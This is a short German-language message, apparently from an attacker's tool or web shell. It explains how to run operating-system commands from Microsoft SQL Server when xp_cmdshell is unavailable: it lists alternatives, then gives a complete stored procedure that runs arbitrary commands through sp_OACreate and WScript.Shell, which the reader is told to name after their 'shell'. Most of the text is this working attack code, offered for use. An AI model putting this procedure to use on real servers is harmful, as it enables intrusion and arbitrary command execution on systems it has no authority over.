SQL ERROR


1. möglichkeit: Andere einstellungen versuchen:
1) xp_cmdshell\"%s\" 
2) select * from openrowset ...
3) create procedure #proc_temp ...
4) %s 

2. Möglichkeit: Eine eigene prozedur bauen. Die muss allerdings mit SQLBrowser ausgeführt werden:

CREATE PROCEDURE nope_cmdshell(@cmd varchar(255), @Wait int = 0) AS
--Create WScript.Shell object
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int

EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)


EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
--If @OLEResult <> 0 EXEC sp_displayoaerrorinfo @ShellID, @OLEResult 


EXECUTE @OLEResult = sp_OADestroy @ShellID

return @result

-------

für nope_cmdshell nimmst du deinen Shellnamen, z.b. myshell ;)